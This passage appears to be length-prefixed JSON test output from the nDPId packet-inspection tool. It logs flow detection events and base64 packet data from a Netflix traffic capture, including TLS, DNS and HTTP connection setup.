+00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6828,"source":"netflix.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":6,"flow_first_seen":1484319117827,"flow_last_seen":1484319117942,"flow_tot_l4_data_len":565,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53250,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00427{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6829,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":943681,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA06TtAAEAGPavAqAEHNCkeBdACAbuRqNLW4ZYSm4AQEBHliAAAAQEICh9l9vih\/Yp7"} +00435{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6830,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":944590,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6NeNAAEAG8P3AqAEHNCkeBdACAbuRqNLW4ZYSm4AYEBHNdQAAAQEICh9l9vmh\/Yp7FAMDAAEB"} +00490{"flow_id":59,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6831,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":944926,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABh7KhAAEAGOhHAqAEHNCkeBdACAbuRqNLc4ZYSm4AYEBH7iQAAAQEICh9l9vmh\/Yp7FgMDACjN6QiHlhoi28ptuJ4MF1wIKwWiAPgvNuNc+XNWkQHy\/nrK5+WNoARc"} +02307{"flow_id":59,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6832,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":947034,"pkt_caplen":1450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1450,"pkt_l4_len":1416,"pkt":"gCqoTGHM5JjWH70UCABFAAWc8xhAAEAGLmbAqAEHNCkeBdACAbuRqNMJ4ZYSm4AYEBEI0QAAAQEICh9l9vuh\/Yp7FwMDBWPN6QiHlhoi3CfYNvkI75I81xmx4yjWWZ7mKDr+ugBeR0aifMGlBcDw46gOImmDqiYnmZmiMwmjzkmtCgpaJT9EnRjChqBnJNohGvzi17gfe96WryGjLIQhJeNfDNsXEXo81FsFostZ5IY9sB4K06rtTj1sZZUyN6QRwYoMvHtIEagYfX7l6omuqrNm\/+n2GtTksBBAsBu39RXf8h8qI4GXSnKGFf7uRT2Ktf9S3JLA\/OBrgKJB8+pd8KwJ8KqmZlU9j\/Mvazr\/HsuIoFyjo2vrQeoT979IJ1oX559GMEXQ82YJ+ISlTsQYEBkzUGqu2eLRE4Gbm\/1ccHUSVFvQ\/uT5M272G0JVHykRGPjaARF8K544PSmXnHdApNp+3syKoRTim9YJ2J54PWHZ5yfWPpcvdZPvmcp8whvMZsXqu1dr3rBXggGXf3h7iaDBKRqk+hcFKvSUx5Xc\/w5XBx6PnR84fPxQ21GQoTLD2WOdmMCs0gUjdmy\/A0PXPqNKijrPqiBla4YfEJfqAr3ZjEBA\/Nls33ZllNOHmvZMGKhvFrJF7lSxzzPUwpqTAlXT7EX1fO9+AGs1R1WlFWTsl0HCxolwOdEqGi2\/1DBjjClTCmvGjxvE1Vp2kfQjc6mxWPfJWe0s0yMWKtbcCIlMKUTWS7dNg8m06lqQ6H0mELgRZfiqqdPAQY525g93zU\/kiihVyULNfc6kPcawimAEB6al4HrpxzYRe7zS1WhB0tgwtKvIeVVDjuLdfwV7i3A6Z1PGEm9uGnUkXUexdcAA64da91nIS+QRuh5hswc17qDi2BHrKXYmG9TkdDbAOYmOBOR0wtj8lhOp0MeWfiJtB5zjaWAyhsmBG1yRi6t+mYKV6fNxtC78ub9EV+K8Rp\/9HKsztpmRycDBE0iduNFEGIjr+6jOcCMD2c\/9gQbPXwuI3aiGSNpOajXk9Udz+4FWlrY5Exf2upQnCaJcnZjK4ZyHw26vP+5dhVdufxgx3Ai68hKaRX51VJmMi31Hj95OwQM9bsqoudiRq2AZfnXe0SyWnvjgN\/zqWMY6VzKTi4tOWpEjqeG5VlAGxnBAVpe1QDn\/TAw64KcJOAc3THRsVf3HjeH8xUZRmIA2urnunlFMZ2i7NtirXDokmRm2IpFfxvbMYV6yc3HMlgm8fvC7Ol\/pRgoI5fOLtaGmGeqStZ2BQJa7fhfQRWnq7atbPvK7DB+e1xZeZfrTYZvNi7zVoZy4vgy1ahUww1eAPAONBDSF3Jw6SBIdQDEM7VRegSPe0E7hVghbCFrI7u\/mCn68sR2nJjceBhTxrLeKN1ECef21SYiipktVrJ3mzjfCVCCRp61lld3suYf6Xy50Kts1yK0ApoPUe6kq0VHebjGFDFJ9eselonUnXNgCpD58WG2owuWTr\/zv6mepb2Eb79\/SRTmRieicHzs9A6I6EWCZiSYMPwcd30Z2TfSuQa1HoYi31ggGj96Vyy\/YZN1IrZwk7fqeyTMFU6HpLzuAJCDUY7ioRqp\/IT+1FWab0QOzo+IDOp5AROBahEYdu5OLtqo1aD+wPPZu18l02qiLmJyl2ShhTDTyLphxlZV9SCUqY4pip8iUTMG\/cN75yaMSV+zsgCM1lReoIGWkcnUJuFj5YmC3GiCKLrK2nRKoQFhaH4UxTdU5tZTu216tDBBTkYmBGR2CgcgbLzPGsNh9aoRBTpYmSdLVNSyA0jiqGmapgqvS+0ACj6\/CIlBKEtd1OVMKGAfUkcMrdkY6DweUPg7doIx5Eyms+T8a+PGedwK60QD\/ZO2qMgc4LykQeLBpbwIuM2GMAJ1Um\/9OCfL4WpJhqVOKoVQKBLckWQ=="} +01129{"flow_id":59,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6833,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":948589,"pkt_caplen":581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":581,"pkt_l4_len":547,"pkt":"gCqoTGHM5JjWH70UCABFAAI3zQhAAEAGV9vAqAEHNCkeBdACAbuRqNhx4ZYSm4AYEBH1WgAAAQEICh9l9vuh\/Yp7FwMDAf7N6QiHlhoi3dgT5D+KqIe13h\/1U0c6iz3GMKFomcO0P9rxdW6xA2iQ1ZqViG4e2gbFkb04KXnDy35G3wxXhVBkpT9GrMnuAT+VG5+orqZypdwbLfdUOwp5NCc\/LJHIl+8STMrOwtLtby71RxvIvN8yRx2ZTXwfkGapEgS4wybNQsxQcgTtmhLg\/7g\/9Q7nq1KQpFTHYw2O6wTp4YnMeuUFRnv8ZaKrCt2A7vqmgaUcZROmLc0G3+6ZWOFPkf4Ca4M4Mmo8BK65kQkdREGbAaCti1v2LmzgoADvPnMJo4HOPhCRil975Bjn4pB6Df0LvGIVpf5QZrJrVSr42vkJSSo8udhANDgCt2WpHcNnT+5SeDUgubWwpuF1+xgHE3tM4CPWIFwC6z\/DD0kVWGYgxjlZzwTxp4nXhsMhf3\/sGuv1FOMVobqJqFyi0xeKYIwO0gticxOJKdoOW\/AOaPJoOmaAsDiRw7ejiJAbbg4adw+CnoLltIT3gajYq0YJaIigHjgi+Y\/5j7bM871J4Z8wNWN4XFYvpw1ekfGME3TqHncVlRr7Bkr37dtMePpd66NV6XnvQ9H4maIEZYMzAzFygPFmNTU8KQ3+I3rj7sq6iWjL8vBIwX3Ecf7wd1Gt7p9qR8MfrZfNmbi\/IBt2Cw\/RQ9KOESc0Km3G4HfPf72hKpQ="} +00427{"flow_id":58,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6844,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":979445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QsZAACoG+gA0KR4FwKgBBwG70AFaPMlEIXPyzYAQAEkWQQAAAQEICqH9ioQfZfbv"} +00427{"flow_id":59,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6848,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":991759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0mHVAACkGpVE0KR4FwKgBBwG70ALhlhKbkajTCYAQAD31HAAAAQEICqH9iocfZfb5"} +00424{"flow_id":59,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6851,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":940,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0mHZAACkGpVA0KR4FwKgBBwG70ALhlhKbkajadIAQAFPtlgAAAQEICqH9ioofZfb7"} +00426{"flow_id":58,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6852,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":15530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QsdAACoG+f80KR4FwKgBBwG70AFaPMlEIXP0v4AQAFQUOAAAAQEICqH9io4fZfbx"} +01787{"flow_id":59,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6853,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":39877,"pkt_caplen":1066,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1066,"pkt_l4_len":1032,"pkt":"5JjWH70UgCqoTGHMCABFIAQcmHdAACkGoWc0KR4FwKgBBwG70ALhlhKbkajadIAYAFNDzQAAAQEICqH9ipMfZfb7FwMDA+MWI54ZxxY8WJnOwAwkNiLptt4fmihgIQ93x3PiLyqD8qqayWv4WqgKUGGzRk7gzwS00DEMM8ZovNnTkqlW9mcM+T5NMY0mlaJ2QWyddGQMTfN7e7WFf+pwKgzrsqVQWYrD7mnwr0w6P7PPCgxtg2+hFFia\/8O8zsmuAUdBQygSv0o\/OyoUh4dQw25MrkTXOhPObnky4WjpXNn46G0QaZF+ihP+t7zLwph\/7qw\/oQrmhy\/yzz99U5dc7YB9ILXqx9gUq+EfA8lIEMs6BCffg0NL2WjE0bSv5YCsfTOmfMzcsyqjxnqJo5ZdrYJCpr\/lh\/QRSMrnodFztvJrJTIPRwaYMwKXNvIb8Fy5mWkYdhn\/swzKEe0t1km2C7OL9O19rmFdp3bz5iH3\/tqK+CyIhIsarRqzWBUL4co55KQ8uDFyREYlpf8JDSjNQgglF7i+WuuhCumLemO2EIKCAT+JEHvek6GLuGuDih2ysCXTjBBf5SHAcJk2PBPzaaU4OD8eHLZsyUKKNFMKalU9Hb4vT460C8UdkfBdHL3YvkAocb2p5KuCtSbj2rS4eY9GymOqXsEpXOqiKFLYyVqBPha7BDBUlodKciMfmU6hrEhPKkqe64TtjacG9n3mUFyulbPggOC2GNhaHmkt6fCKsGxrkLmoP7g54pEHOFGzxJ1uw+A0FlzZm5Lqxx4MpsyqW4RfOjAxDzvvYO5L9zI6Xah7cqtX14Q02UaHzwxAkHY\/i+Z9u211iCCpHzGYpqAZvIKaGssJGTW\/RDs\/UEPz7TD5w7i088uXiHNZdwQawgVi34hH5PZD5her8ImK4QN3dTI8yjicgh8QFupEDDRpBk6S2kPZCouhhF5Zmbu1nYH8OxfZkX1gybzz4E53QR\/HIZWVDtULSRIAyP6+HOxNMHgo86epGmxvzscTObt1PqkKgNMXtnjkhdL+FZvUTmHv5R5\/hKJtgM9eyuNKGK0qIrxBSiXnLO3DsHXzO64G\/ZGTZfRYEBLICM51hj9OPPvLhNhPg8o2MGWACsw5q3tzAVCeGnYSOesHZGjNGdydRz9b9CVkTvCLXaoJw8e3JLsO+VfL\/jSvRqvKWGuZWH6DN9+EzY0dOs6e5TkC7ImeR3YLHs48tRSjytNGT6GIWJfkqc0kJqRwkCIdGen7+6OUD9J79gW9+MwGdfx8UvFLOYemizoMwtLgBpwN5U9R\/XMBNEIpSpm7J5qWg5iEuX7itQGt+0wFO9jA28a39nG6eWVM+LpvlVleM5WuMLEkBRcDKgXb\/GozvEaxDuJhLuwWZEXbxeleF\/CiGaNCnLec58Eaoqn742o8RA=="} +01606{"flow_id":59,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6854,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":40132,"pkt_caplen":935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":935,"pkt_l4_len":901,"pkt":"5JjWH70UgCqoTGHMCABFIAOZmHhAACkGoek0KR4FwKgBBwG70ALhlhaDkajadIAYAFOSmAAAAQEICqH9ipMfZfb7FwMDA2AWI54ZxxY8WXHVuD3CYDUOvTy\/nB2lrxqGUHt1xRKXofJ4dHxhTH3AYIEjqa7mhfRpxAQlqD70CCvw2X8JVnSZdkqhnImkB9CwLKJtaTVDaxhBnqKtMyJp7xMhyiZQ3as3ftRgGsi4u4iWz1lAqBFIMUrqO8ai5j0zs\/IKAyUhincv4di2SgtoZ9+JKvp63wZgGj+gcVwsWiv1BwUsoO6e3fw0beoESTCvfPhfBZYFM5T\/55kwFBA7ksUDiBF5WsrRo1+EP6hWI6m5zEsSkS+kPAMHLPeP0NetGfe\/PeCPWiFMzYkbfbthtQW4coDKYkCduf8+Lq92eaoyV6lC0IZ3V5sVoknMmomKwHzpbBwXi11DnTnKrs35KTYGL\/ouKIzxEBKUAQthopag\/zq30FE9a2yolzAqpDvhbeisFuDnsw076TJWuxfdBblNy4FWW6qX0auZPtB1YUf8OajmbFNede8dCSkHV\/3wJd0JzZA5GxAm3DgFOwpJHjHUKQGsy+M0cnbb6jC0YqDup6pzdZOl0vx411wTYHQsk13Nx2gG7jtfLUIqbm1yCK2asDWZRxOr712tukCjm1rbcswdlGsqnPEnaaTTUyOIUj5BJ4eL1J9BmiZvBToJajNT2nSbYBirdDh9rbbpIwvKNMTxR3JUnw27ThIfkRT82pPfDmycUws\/KrhCxHKEEOhojCITVc6l0cehEI8K95usx8Ujn\/hsUWs00G5Q7jTSpeK59z7tSniB8rquw1ChpN\/rax58\/CdFdHjDrI5klU9O88T3JY8\/f0VWvItFNwDgax\/S2Eyjt5S\/28fFM4Rw6rILaBrvy6UKCxmng1SrFTbPNBp1q1D14am+csAyvD7fx7q1qmEWIdYFkFNqQbT01L0tpWEpLdJGubohOMgaFoXtuqrY9EYDpVIKEpj6a3we126NztazmTfJlgg0pg0KMrzl8XMv5qzNZsRtY4GxWe2oTpLel+XFYbaWArhA4YnXakJHeaekfgjznYwrsJSx7gSk1F7uXv\/tp8CYcUcWbFg8e07mUYpN0icdA0H3hUF\/0qFs5elMUUg\/PotlB3Ho47GBV7Qv4kWQxEG+g8CEtDHpWtC3i7CkFoGbZZ82MhmwMt7hRq3CH7aExiDnG3MUDrTBEfEH0tE="} +02392{"flow_id":58,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6857,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":74100,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcQshAACoG9FY0KR4FwKgBBwG70AFaPMlEIXP0v4AQAFQogAAAAQEICqH9ipwfZfbxFwMDBkQhKvpAY25TBgZdKy4HtUkKIJZfR+1REZF0s\/99eM3z7Oi7GiYct543IhFyT2iB3\/9MkdJzG772utwHqG9qn3fcpHQh1OiQWtWXC7L1qmTrfsdrAdfgJTQU5BRcj4RsJlokZOjU8pIpQhsSBnvoYh7IUjOazIkkIaenQ775sQLtotOC58Qq4kG8cZFTUiDem1mB1sFYI\/SE1+tqYOZ3Rv9d8N4lMV9nqC+hIEt6y\/h5Eb7jZ\/MUJrcWI2Vn3dm\/DDhri63YDpnotSopFZV6GOKg7df62xHIky6jv4aaHsqyP8wklhXeh+4TFa4s+jUP69s2vHrEI2W+OtZyvMFA9XIk33rSwuoPQxGCwrrFwN+9WyW2JNV\/lqaIDBdUGRPQP60qo611BDlC2TdGgKcN1eDXHjPwqSKDDUnBsMd15sOode0EdKBE1JtzcM5YRPw0Pb8U7Oklxy0SeAsEr+FPNXpeBSHMXlgHA+hg6QorbJhpelqFdWZ9C4csl3MTSwTfn4aShuDzDuy5AEunaZTs+lRmaVRd3dAFYuh6zhgSMjkD14RKBtGK8RcexmPeJpb9b5TxkcCO087j4+oESSmJBvQkxlyAUp7YBEcxqsvmQJIPEOE0yT2vYOerZGXws1nU6Vk49111tsrZnORJT02ghAPZc1v7pznlHDXz\/7\/q2byt\/PQKXBBRjOgGTbSyjTbn6PYpjlMXbu1Y8N6EPi9AUAXOz84L1UU9rs4TUcdcLBEYZpYp4+ssP8WllyGc0N6FL9N93QeR4L0snwhzp4+YVHcVeQy9\/TAeVMd8D49pXHqvrkX4QaM3+\/4oWaHqe3XZjFC8x4Aj\/Luq5UKnBQc00hIP7pC1S\/ezLzRtIw+ZDMGFD7Lp+FlTWBHhxJTgbJPDF6iiXRLVnNJygeSOIDNqP2CcSe4mc2ieud0n7y6zg3NaK6tOshNT\/dNfvhVLcR6YyfI3rDxGdeP0MzYUVObQEEgsNNvurBvIwUpvnj7\/witC2M5BuGTqNIInFWM64LNpPC1cCtqxyzlPKp0Kv1p4I3Hz7TTPn4mNcncSLwI85cKx2GPz8qnGp7Me+w3eLgQ272qZxpSDsg52oQJmpQGe2f37QANboJq+jwBhYbsY+3neALfjET3ehTbgC0NjOpljoTVcbnfZ7PPjzJD6lugz67QyMmCgT9G94D4Bw5hFWmetd97Bp6s181UfT85K6AcM0omyDyiAZs7aFo2mK8eubHlIk1bGHLeD1mkU39dEqbFxjUgf8unSSPuKGrFrHFQKyWeThmXXRp+J+nglCnoK+zEKcUmJuzVvh2r+mZS2usaeXOIEEHpN7MSDuqeEa8lC\/Xv9Wk8JVCZYF\/jfIMmC3sACpCTrqqdSqIzHMkbYvYffoy2locY9vRgZPlqgxB7J667HpoD9uKIV3ezU6cVYTD4mRQvPJdp15DsO44LpgdSBDCdE9CeIO5CgfZXLtKTvIEJE2cOipotAxceaiZ6JOaUe6iERZB\/cDoMWFXulmHtPvLi\/5aWXR8iKhYCkA2oZkKVQT1UbrhPmDs1RDZsTyewMcoa53WG77f1sjqhLqOMOOpCQ6sAtc1fMJ7xph0K4f0KCu1Okma2iGCJOfLUYlQ6auXql92\/ddHYIDHC2ctjHdiSIyRzIpMRIecAYWVzb0wwZ9RVikrbxNAoy50dr19pNNx+qt4q83uXnUdx2h8ABsIbIUJ1yfGI2JtpdtKrqh+dTrj1tzp2CdeStmxsDss6oiJzfJ\/LZM4SQ1j\/n7MxEnaLuV8kjjMJlBlkLZ6CqJItJ+3G215fhsml\/moDC7pCZW3RVgnv4afH0adx5Rr5Nr9qh3SZ4tCg215Z\/UU8qAXQ8xEBbaXKnHDw8eyvqHkeT3nfrDrAUBw\/mmf9krJ5qz3ELlo4gofc\/jRRGk+45l4u\/WKw="} +00649{"flow_id":58,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6858,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":74240,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"5JjWH70UgCqoTGHMCABFIADVQslAACoG+Vw0KR4FwKgBBwG70AFaPM7sIXP0v4AYAFTtzQAAAQEICqH9ipwfZfbxljv39Mzb4bnJTd\/omBto9\/0x8H8PFYoXhsgpeTnwsmjBOLpkzfVs0Am2t+FCN4qnJz6IZZL\/q7JFM3a6\/s2WyVk3bhNKawBVcAtgdwD4gjJ2Q5zJBQs5pfPUhhmw7qTZQ6Hz3WuSlR91nc73xiUd6dKAVUwrmWtMJzzwlHZZDcTGyRm0EyyxHYxBYnsNQXmnUeBdgBSf5GdlxfrDhf9tyzc="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6888,"source":"netflix.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1484319118629,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57093,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6888,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":629811,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"gCqoTGHM5JjWH70UCABFAABDkmsAAP8RpeXAqAEHwKgBAd8FADUALzVHkfABAAABAAAAAAAABWExOTA3BGRzY2cGYWthbWFpA25ldAAAAQAB"} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6888,"source":"netflix.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1484319118629,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57093,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a1907.dscg.akamai.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00492{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6895,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":652959,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"5JjWH70UgCqoTGHMCABFAABj4U1AAEAR1ePAqAEBwKgBBwA13wUATx78kfCBgAABAAIAAAAABWExOTA3BGRzY2cGYWthbWFpA25ldAAAAQABwAwAAQABAAAADAAEuBnMCsAMAAEAAQAAAAwABLgZzBk="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6895,"source":"netflix.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":2,"flow_first_seen":1484319118629,"flow_last_seen":1484319118652,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":47,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57093,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a1907.dscg.akamai.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.25.204.10"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6898,"source":"netflix.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1484319118657,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.10","src_port":53251,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6898,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":657433,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAL91AAEAGxQfAqAEHuBnMCtADAFAmSxL9AAAAALAC\/\/\/OdwAAAgQFtAEDAwUBAQgKH2X5sAAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6899,"source":"netflix.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1484319118658,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"184.25.204.10","src_port":53252,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6899,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":658049,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAEThAAEAG46zAqAEHuBnMCtAEAFDFgkYhAAAAALAC\/\/\/8GgAAAgQFtAEDAwUBAQgKH2X5sAAAAAAEAgAA"} +00441{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6901,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":672865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwG+Mi4GcwKwKgBBwBQ0APyPQT8JksS\/qAScSAMhgAAAgQFtAQCCAr\/\/WqNH2X5sAEDAwU="} +00429{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6902,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":674195,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0XA9AAEAGmOHAqAEHuBnMCtADAFAmSxL+8j0E\/YAQEBWcSwAAAQEICh9l+cD\/\/WqN"} +00440{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6903,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":674728,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwG+Mi4GcwKwKgBBwBQ0ASr4P0LxYJGIqAScSCIdgAAAgQFtAQCCAr\/\/WqNH2X5sAEDAwU="} 